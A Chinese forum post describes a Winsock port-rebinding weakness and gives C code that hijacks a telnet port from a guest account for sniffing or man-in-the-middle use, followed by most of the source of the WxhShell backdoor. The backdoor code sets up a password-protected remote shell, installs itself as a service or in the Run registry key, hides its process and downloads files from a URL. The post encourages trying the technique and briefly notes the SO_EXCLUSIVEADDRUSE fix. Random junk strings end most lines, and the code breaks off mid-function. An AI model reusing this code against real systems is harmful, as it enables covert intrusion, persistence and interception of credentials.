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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: XRx+Dddt;  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); l e4?jQQ@L  
}@ Z56  
  saddr.sin_family = AF_INET; x!LQxoNF  
)SF}2?7e  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 8BOZh6BV  
% 2$/JZ  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ^&@w$  
Dl(3wgA  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 \>LnLH(  
fWfk[(M'9  
  这意味着什么?意味着可以进行如下的攻击: V&8Vw F^-  
(.w Ie/  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 !U9|x\BqJ2  
J%09^5:-z  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) N'r3`8tS  
c0B|F  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 c\B|KhDk  
u0aJu  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  "k*PA\U  
gb ^?l~SS  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 0"2=n.##  
X[`bMa7IB(  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 z%MW!x  
3bk|<7tl  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 NH$r Z7$  
_XJ2fA )  
  #include (?_S6H E  
  #include eP*lI<NQ1  
  #include +fvaUV_-  
  #include    <N\v)Ug`  
  DWORD WINAPI ClientThread(LPVOID lpParam);   O+g3X5f+  
  int main()  .ObZ\.I  
  { q0f3="  
  WORD wVersionRequested; hX `}Q4(k  
  DWORD ret; y_\p=0t8  
  WSADATA wsaData; % K(<$!  
  BOOL val; ^Wxad?@  
  SOCKADDR_IN saddr; 'F>'(XWWQ  
  SOCKADDR_IN scaddr; *`ZH` V  
  int err; G}&Sle]  
  SOCKET s; n 1!?"m!  
  SOCKET sc; me[DmiM,  
  int caddsize; fS~;>n%R  
  HANDLE mt; N<QXmgqx  
  DWORD tid;   9Xx's%U  
  wVersionRequested = MAKEWORD( 2, 2 ); >3z5ww  
  err = WSAStartup( wVersionRequested, &wsaData ); 7 S?4XyU/o  
  if ( err != 0 ) { X]P:CY  
  printf("error!WSAStartup failed!\n"); w)Covz'uf  
  return -1; &f&z_WU  
  } _YcA+3ZL  
  saddr.sin_family = AF_INET; 31/Edd"]  
   M5xCC!  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 [IK  )  
jBegh9KHq  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); T49zcJf;  
  saddr.sin_port = htons(23); zN  [2YJ$  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6/rFHY2q  
  { 9K9DF1SOa  
  printf("error!socket failed!\n"); 4~B> 9<$e>  
  return -1; $@UN4B?y  
  } OKoan$#sn  
  val = TRUE; &^W|iXi#  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 (\SA *.)  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) m 9/}~Y#k  
  { lT(oL|{#P  
  printf("error!setsockopt failed!\n"); ;3' .C~   
  return -1; 8MSC.0   
  }  trAkcYd  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; F&&$Qn_+  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 br|;'i%(  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 H,b5C_D29  
]\!?qsT3}  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) jYe'V#5S#  
  { U"Zmv  
  ret=GetLastError(); )I3NeKWz  
  printf("error!bind failed!\n"); ?Wz8[u  
  return -1; eopD5  
  } TYy.jFT-  
  listen(s,2); V{JAB]?^  
  while(1) 6L)%T02C  
  { -;'1^  
  caddsize = sizeof(scaddr); R) c'#St  
  //接受连接请求 3D2E?$dX  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); U~pV)J  
  if(sc!=INVALID_SOCKET) P>Ez'C  
  { )kP5u`v  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); '_V2!?+RU+  
  if(mt==NULL) t^w"w`v\u  
  { ';<0/U  
  printf("Thread Creat Failed!\n"); xXM{pd  
  break; utIX  %0  
  } uvrB5=u  
  } t25,0<iW  
  CloseHandle(mt); e d<n9R  
  } iRrl^\qn  
  closesocket(s); lBaR  
  WSACleanup(); }I :OsAw  
  return 0; XHK70: i  
  }   ^/r7@:  
  DWORD WINAPI ClientThread(LPVOID lpParam) W VI{oso#  
  { -?0qf,W.  
  SOCKET ss = (SOCKET)lpParam; bua+I;b  
  SOCKET sc; gM _hi  
  unsigned char buf[4096]; ]wtb-PC  
  SOCKADDR_IN saddr; *NG+L)g  
  long num; <WcR,d  
  DWORD val; U-|NY  
  DWORD ret; Vv ?-"\Z>  
  //如果是隐藏端口应用的话,可以在此处加一些判断 >k'c' 7/  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   `DC2gJKk%  
  saddr.sin_family = AF_INET; l g-X:Z.  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 5=Di<!a;  
  saddr.sin_port = htons(23); ndkti5L,   
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Cvf[/C+  
  { 9T1ZL5  
  printf("error!socket failed!\n"); ;A*`e$  
  return -1; DK$s&zf  
  } $f zaPD4.  
  val = 100; f\jLqZY  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <>8WQn,K  
  { CY"/uSB  
  ret = GetLastError(); QnJZr:4b  
  return -1; /C6k+0ApMT  
  } N|6M P e  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {QwHc5Bf  
  { @0F3$  
  ret = GetLastError(); ;LMJd@  
  return -1; ihfiK|a  
  } #H :7@  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ROous4MG  
  { )/wk ( O+  
  printf("error!socket connect failed!\n"); x= 5N3[5  
  closesocket(sc); lqm1!5dt  
  closesocket(ss); h]TQn)X]  
  return -1; | y2w9n0D  
  } k@'#@ t  
  while(1) s mnS DS  
  { oIduxbAp  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 `-p:vq`  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 OEkN(wF  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 LS917ci-  
  num = recv(ss,buf,4096,0); wf:OK[r9  
  if(num>0)  m5r7  
  send(sc,buf,num,0); lQe%Yh >rl  
  else if(num==0) sL\L"rQN6  
  break; lhBT@5Dm9  
  num = recv(sc,buf,4096,0); fIsp;ca[k  
  if(num>0) #n#@fAY  
  send(ss,buf,num,0); /|D*w^ >  
  else if(num==0) tQBRA/  
  break; , T8>}U(  
  } v uoQz\  
  closesocket(ss); {\:{[{qF  
  closesocket(sc); D>LZP!  
  return 0 ; 5Er2}KZJv,  
  } *^:N.&]  
\Z+z?K O  
9T*v9d  
========================================================== FSA1gAW6g  
'7i Sp=  
下边附上一个代码,,WXhSHELL L:i-BI`J  
(EI;"N (x  
========================================================== ~4 `5tb  
U15H@h  
#include "stdafx.h" j'HZ\_  
Bq$rf < W  
#include <stdio.h> R~S;sJ& c  
#include <string.h> &FF"nE*  
#include <windows.h> \Hn>oonph  
#include <winsock2.h> lx[oaCr  
#include <winsvc.h> ,"HL~2:~  
#include <urlmon.h> Kq;8=xP[  
z}MP)|aH:  
#pragma comment (lib, "Ws2_32.lib") /,g,Ch<d  
#pragma comment (lib, "urlmon.lib") 'coV^~qy  
pLLGus+W  
#define MAX_USER   100 // 最大客户端连接数 ]3X@_NYj  
#define BUF_SOCK   200 // sock buffer oyYR-4m\  
#define KEY_BUFF   255 // 输入 buffer ~2gG(1%At9  
XBp?w  
#define REBOOT     0   // 重启 j'MO(ev  
#define SHUTDOWN   1   // 关机 //s:5S<Z  
!X;1}  
#define DEF_PORT   5000 // 监听端口 SUU !7Yd|  
N _86t  
#define REG_LEN     16   // 注册表键长度 |bO"_U  
#define SVC_LEN     80   // NT服务名长度 f)^_|8  
~wkj&yVT  
// 从dll定义API *1fb}C_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Aj+2;]M  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); V7Ek-2M  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); '.81zpff  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); SAyufLEv,  
@T'i/}nl  
// wxhshell配置信息 kNobl  
struct WSCFG { (q(~de  
  int ws_port;         // 监听端口 F*3j.lI  
  char ws_passstr[REG_LEN]; // 口令 2AO~HxF  
  int ws_autoins;       // 安装标记, 1=yes 0=no JYW)uJ  
  char ws_regname[REG_LEN]; // 注册表键名 +PcmJ  
  char ws_svcname[REG_LEN]; // 服务名 c+hQSm|bf)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 T^Ze3L]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `s8{C b=}1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 nv~%#|v_W  
int ws_downexe;       // 下载执行标记, 1=yes 0=no d\jPdA.a=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" r}mbXvn  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 i5CK*"$Q  
H?)w!QX  
}; x6e}( &p*  
tX> G,hw  
// default Wxhshell configuration ;;:-l99  
struct WSCFG wscfg={DEF_PORT, &QGdLXOn  
    "xuhuanlingzhe", 4Dw@r{  
    1, mg$]QnbAnH  
    "Wxhshell", Dk(1}%0U/  
    "Wxhshell", \kU &^Hi  
            "WxhShell Service", s#)5h0t#du  
    "Wrsky Windows CmdShell Service", <7j87  
    "Please Input Your Password: ", BA%pY|"Q  
  1, '<ZlGFt'n  
  "http://www.wrsky.com/wxhshell.exe", 9.a3&*tV[  
  "Wxhshell.exe" #]ypHVE  
    }; :n.f_v}6  
j]aoR  
// 消息定义模块 (3{YM(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; to=y#$_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; a *ushB  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {O7X`'[  
char *msg_ws_ext="\n\rExit."; zhpt%7So  
char *msg_ws_end="\n\rQuit."; Cif>7]M  
char *msg_ws_boot="\n\rReboot..."; LYaZ1*  
char *msg_ws_poff="\n\rShutdown..."; /oR<A  
char *msg_ws_down="\n\rSave to "; %0,#ADCqOe  
H\:lxR^  
char *msg_ws_err="\n\rErr!"; |Y[wzDYV  
char *msg_ws_ok="\n\rOK!"; 7 D^gMN%p  
[`c^ 4 E  
char ExeFile[MAX_PATH]; /M3Y~l$  
int nUser = 0; /qy-qUh3h  
HANDLE handles[MAX_USER]; pJt,9e6  
int OsIsNt; /.o^R6  
.2v_H5<  
SERVICE_STATUS       serviceStatus; *U]V@;XF  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "F.;Dv9V[0  
EuyXgK>g  
// 函数声明 OG~6L4"  
int Install(void); RkBb$q9F]  
int Uninstall(void); V9dF1Hj  
int DownloadFile(char *sURL, SOCKET wsh); R)RG[F#   
int Boot(int flag); PEuIWXr  
void HideProc(void); 7,lq}a8z  
int GetOsVer(void); ^ml'?  
int Wxhshell(SOCKET wsl); #7 q7PYG4  
void TalkWithClient(void *cs); 2gq9k}38  
int CmdShell(SOCKET sock); j+["JXy  
int StartFromService(void); @++.FEf  
int StartWxhshell(LPSTR lpCmdLine); }A7j/uy}s  
iTAx=SG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); sSi6wO$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ft;^g3N  
,kF}lo)  
// 数据结构和表定义 1][S#H/?  
SERVICE_TABLE_ENTRY DispatchTable[] = Gr^E+#;  
{ hnc@  
{wscfg.ws_svcname, NTServiceMain}, 0^RXGN  
{NULL, NULL} zBk'{[y9L  
}; % Cv D-![0  
8_ tK4PwP  
// 自我安装 I^8"{J.Q)[  
int Install(void) ~R26  
{ p%R  
  char svExeFile[MAX_PATH]; aW`Lec{.  
  HKEY key; Gq }U|Z  
  strcpy(svExeFile,ExeFile); '-"/ =j&d[  
j"'(sW-  
// 如果是win9x系统,修改注册表设为自启动 6Qy@UfB  
if(!OsIsNt) { !=:$lzS^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /x[jQM\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +i2}/s@JJ  
  RegCloseKey(key); @>)r}b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yX0dbW~@y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8W#heW\-]  
  RegCloseKey(key); .sj^{kGE  
  return 0; d BJJZ^(  
    } zOa_X~!@  
  } V*iH}Y?^p  
} nY`RR C  
else { )Hk3A$6(  
Hr]h J c  
// 如果是NT以上系统,安装为系统服务 nw<&3k(g}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); iCcB@GlA  
if (schSCManager!=0) ~ y;6W0x  
{ 26k LhFS  
  SC_HANDLE schService = CreateService o)2W`i&  
  (  )8UWhl=  
  schSCManager, thvYL.U :  
  wscfg.ws_svcname, 2h=!k|6  
  wscfg.ws_svcdisp, 3 "Q=Vl"  
  SERVICE_ALL_ACCESS, [>1OJY.S}T  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2U:H545]]  
  SERVICE_AUTO_START, km1~yQ"bH  
  SERVICE_ERROR_NORMAL, lAJxr8 .  
  svExeFile, (3 #Cl 1]f  
  NULL, 4W)B'+ZK8  
  NULL, ^n"OL*ipG  
  NULL, )l[M Q4vWW  
  NULL, ;Mpy#yIU.  
  NULL  $W9{P;  
  ); j"|=C$Kn/  
  if (schService!=0) !/3B3cG  
  { ,;Hu=;  
  CloseServiceHandle(schService); t7?Zxq  
  CloseServiceHandle(schSCManager); `P8Vh+7u  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); g47-db"5  
  strcat(svExeFile,wscfg.ws_svcname); de;GrPLAi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 846$x$G4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); y?a Acn$  
  RegCloseKey(key); 3rcKzS7  
  return 0; X90J!  
    } .D: Z{|.1  
  } Z<SLc,]^  
  CloseServiceHandle(schSCManager); JA'h4AXk  
} j/nWb`#y  
} )p~BQ~eip;  
^*S)t. "  
return 1; [-;_ZFS{  
} JNa"8  
Tp-l^?O-p  
// 自我卸载 K_El&  
int Uninstall(void) ' )?f{  
{ d_)o  
  HKEY key; ,>eMG=C;g  
elG<k%/2  
if(!OsIsNt) { Y))u&*RuT0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `9uB~LY^i  
  RegDeleteValue(key,wscfg.ws_regname); wm$}Pch  
  RegCloseKey(key); 1I<rXY(a`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {6c2{@  
  RegDeleteValue(key,wscfg.ws_regname); r!HwXeEn/  
  RegCloseKey(key); 5c^Z/ Jl$c  
  return 0; u a~CEs  
  } E gal4  
} `}l JH i  
} bBS,-vN  
else { bLQ ^fH4ww  
I*IhwJFl/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7_mw%|m6@  
if (schSCManager!=0) { Q`QX`#  
{ f3Hed  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ju3*lk/j-  
  if (schService!=0) OV%Q3$15  
  { c=L2%XPP  
  if(DeleteService(schService)!=0) { i 4%xfN  
  CloseServiceHandle(schService); dz *7gL;7G  
  CloseServiceHandle(schSCManager); Sk:ws&D1u  
  return 0; ,^x4sA[/  
  } T:IW%?M  
  CloseServiceHandle(schService); N#Zhxu,g!  
  } ^H2-RBE#  
  CloseServiceHandle(schSCManager); z-LB^kc8oQ  
} HKqwE=NZ  
} ld^=#]g  
qd#sY.|1  
return 1; eXK o.JL  
} B|4X}*@SX  
sm\f0P!rv  
// 从指定url下载文件 F^5?\  
int DownloadFile(char *sURL, SOCKET wsh) sp5eVAd  
{ Tjl:|F8  
  HRESULT hr; 8&Oa_{1+Q  
char seps[]= "/"; nD)K}4  
char *token; HE'2"t[a  
char *file; {iv<w8CU)  
char myURL[MAX_PATH]; l411a9o  
char myFILE[MAX_PATH]; 1\g6)|R-+  
P#_sg0oJF  
strcpy(myURL,sURL); 9(5Oe H6o?  
  token=strtok(myURL,seps); GHsilba  
  while(token!=NULL) n[]tXrhU  
  { ) :\xHR4  
    file=token; (d<4"!  
  token=strtok(NULL,seps); )@L'wW  
  } 98WZ){+,m  
;Y; qg  
GetCurrentDirectory(MAX_PATH,myFILE); ooV3gj4  
strcat(myFILE, "\\"); .9"Y_/0   
strcat(myFILE, file); V\{tmDE  
  send(wsh,myFILE,strlen(myFILE),0); h-m \%|D  
send(wsh,"...",3,0); K)-m*#H&uw  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); xw3YK!$sIF  
  if(hr==S_OK) 6X\ 2GC9  
return 0; =Apxdnz,  
else 66'?&Xx'  
return 1; :J :, m  
TP"1\O  
} %^8^yZz  
RtCkVxaEx  
// 系统电源模块 5e}A@GyC  
int Boot(int flag) K,e w>U  
{ ]Lm9^q14m  
  HANDLE hToken; 7yx$N n`(  
  TOKEN_PRIVILEGES tkp; >A<bBK#  
vk?skN@  
  if(OsIsNt) { <7n4_RlF!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); qpsv i.S  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); L9@&2?k  
    tkp.PrivilegeCount = 1; PIWux {  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; IR-dU<<9O  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); svuq gSn  
if(flag==REBOOT) { "d$m@c  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) VB?O hk]<  
  return 0; jU3Z*Z)zN  
} ~{D[ >j][  
else { 8?i7U<CB  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (&P9+Tl  
  return 0; 0q*r  
} 1 I*7SkgKv  
  } z9p05NFH  
  else { 3 HIz9F(  
if(flag==REBOOT) { Rt{B(L.?<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) oh KCdT~  
  return 0; (C\hVy2X?N  
} jC3Vbm&ZZ  
else { P{5-Mx!{&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6}(J6T46M[  
  return 0; p<&Xd}]"^W  
} @0eHS +  
} <N`J`J-[  
#_|sgS?1  
return 1; K3' niGT  
} p?2Y }9  
d~?X/sJ t  
// win9x进程隐藏模块 (s1k$@d  
void HideProc(void) +E;2d-x*p  
{ sU"}-de  
cwuO[^S}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); I`w4Xrd  
  if ( hKernel != NULL ) U|5nNiJM  
  { Z1h]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); je6CDFqw  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); p[@5&_u(z  
    FreeLibrary(hKernel); < n:}kQTT  
  } Zo}y(N1K}  
rx5B=M  
return; xy<`#  
} 90# ;?#  
I"t(%2*q  
// 获取操作系统版本 #9m$ N  
int GetOsVer(void) 3G meD/6  
{ % ',F  
  OSVERSIONINFO winfo; qA:#iJ8w  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); O0:)X)b  
  GetVersionEx(&winfo); ~-#yOu ,w  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) C'!;J  
  return 1; tdEnk.O  
  else O$g_@B0E1  
  return 0; ZKz,|+X0G  
} Cv*x2KF G  
1Fe^Qb5G  
// 客户端句柄模块 `?y<>m*  
int Wxhshell(SOCKET wsl) N 6T{  
{ >F@qpjoQE  
  SOCKET wsh; ooj~&fu  
  struct sockaddr_in client; ?+t1ME|  
  DWORD myID; k78Vh$AA6%  
{Rear 2  
  while(nUser<MAX_USER) JI/_ce  
{ X>I)~z}9#  
  int nSize=sizeof(client); a|BcnYN  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 20TCG0% x  
  if(wsh==INVALID_SOCKET) return 1; bpkwn<7-  
]=EM@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $LHa?3  
if(handles[nUser]==0) ;oNhEB:F  
  closesocket(wsh); gUR]{dq^'  
else LrCk*@  
  nUser++; '&FjW-`" G  
  } 7Mx6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +"ueq  
,zQOZ'^  
  return 0; M('d-Q{B7L  
} `Ci4YDaz;k  
fRvAKz|rL  
// 关闭 socket @-)tM.8~  
void CloseIt(SOCKET wsh) T'#!~GpB  
{ T%F0B`  
closesocket(wsh); $ C0TD7=  
nUser--; @+Y8*Rj\3  
ExitThread(0); =9G;PVk|  
} -.<k~71  
f&x0@Q/eON  
// 客户端请求句柄 W0zbxJKjd  
void TalkWithClient(void *cs) }K(o9$V ^!  
{ UzKFf&-:;K  
.la&P,j_L  
  SOCKET wsh=(SOCKET)cs; `aqrSH5^h  
  char pwd[SVC_LEN]; MqKye8h9f  
  char cmd[KEY_BUFF]; {S<>&?XB  
char chr[1]; k]rLjcB  
int i,j; e9^2,:wLB  
.5Q:Xp  
  while (nUser < MAX_USER) { l+wc '= ]  
a45 ss7  
if(wscfg.ws_passstr) { ^# A.@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y& ] 8 {  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?G08NR  
  //ZeroMemory(pwd,KEY_BUFF); {^Pq\h;  
      i=0; x3e]d$  
  while(i<SVC_LEN) { =/+#PVO  
gcJF`H/iNK  
  // 设置超时 -@IL"U6  
  fd_set FdRead; \Xt) E[  
  struct timeval TimeOut; Ze!92g  
  FD_ZERO(&FdRead); ~~8rI[/  
  FD_SET(wsh,&FdRead); `!G7k  
  TimeOut.tv_sec=8; ^ie^VY($  
  TimeOut.tv_usec=0; A%vsno!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); AaN"7.Z/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ae?e 70bY  
PK&2h,Cu+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0m+8P$)C%  
  pwd=chr[0]; 4Z)DDz-}V  
  if(chr[0]==0xd || chr[0]==0xa) { QfQ\a%cc  
  pwd=0; ACjf\4Q  
  break; GIv){[i  
  } K` nJVc  
  i++; nSY-?&l6P  
    } ~ E=\t9r  
kA7(CqUW  
  // 如果是非法用户,关闭 socket ]=D5p_A(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {6xPdUhw  
} m&R"2t_Z  
s6=YV0w(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); LQ-6vrbs  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j1$<]f  
WA LGIW  
while(1) { =V|Nn0E  
?z"KnR+?Q  
  ZeroMemory(cmd,KEY_BUFF); WwW^[k (X  
~4)Y#IxL  
      // 自动支持客户端 telnet标准   *(*+`qZL{(  
  j=0; gvnj&h.GV  
  while(j<KEY_BUFF) { djT. 1(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LW39YMw<  
  cmd[j]=chr[0]; j[P8  
  if(chr[0]==0xa || chr[0]==0xd) { aQcN&UA@  
  cmd[j]=0; !%mi&ak(Rn  
  break; W>L@j(  
  } Q-zdJt  
  j++; l_v*7d  
    } 1. SkIu%  
Qa$NBNxKl  
  // 下载文件  v_sm  
  if(strstr(cmd,"http://")) { 7aQcP  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); St>`p-  
  if(DownloadFile(cmd,wsh)) Isovwd  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); bZ# X 9fT  
  else IM ad$AKc  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JJl7JwSTW  
  } 2q %K)h  
  else { *=vlqpG  
3$"/>g/  
    switch(cmd[0]) { -NDi5i\  
  $o^e:Y , a  
  // 帮助 lEfBe)7+  
  case '?': { i=8UBryr'e  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -3mgza  
    break; rR!U;  
  } r]t )x*  
  // 安装 F^'v{@C  
  case 'i': { ?Bu}.0ku-$  
    if(Install()) F14(;'Az  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )!C7bTv 4  
    else <*Y O~S(R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w4{y "A  
    break; k,X74D+  
    } aqfL0Rg+`  
  // 卸载 ck$2Ue2`@w  
  case 'r': { l(Cf7o!  
    if(Uninstall()) 797X71>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5.k}{{+  
    else S+FQa7k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G&o64W;-s  
    break; z{6 YC~  
    } 2cjEex:&  
  // 显示 wxhshell 所在路径 Bn-J_-%M  
  case 'p': { +a]j[#  
    char svExeFile[MAX_PATH]; -SJSTO[/J  
    strcpy(svExeFile,"\n\r"); *mV&K\_  
      strcat(svExeFile,ExeFile); SOH%Q_  
        send(wsh,svExeFile,strlen(svExeFile),0); d~<QAh#rG  
    break; wsfysat$  
    } /Ri,>}n  
  // 重启 ] SK[C" S  
  case 'b': { 6F`\YSn+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %FlA ":W  
    if(Boot(REBOOT)) 4zzlazU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E0`[G]*G  
    else { MW]8;`|jC  
    closesocket(wsh); Xb+3Xn0}&8  
    ExitThread(0); (zmNa}-  
    } {{E jMBg{  
    break; cDO:'-  
    } C|$L6n>DR6  
  // 关机 x(vai1CrdH  
  case 'd': { tE:X,Lt[  
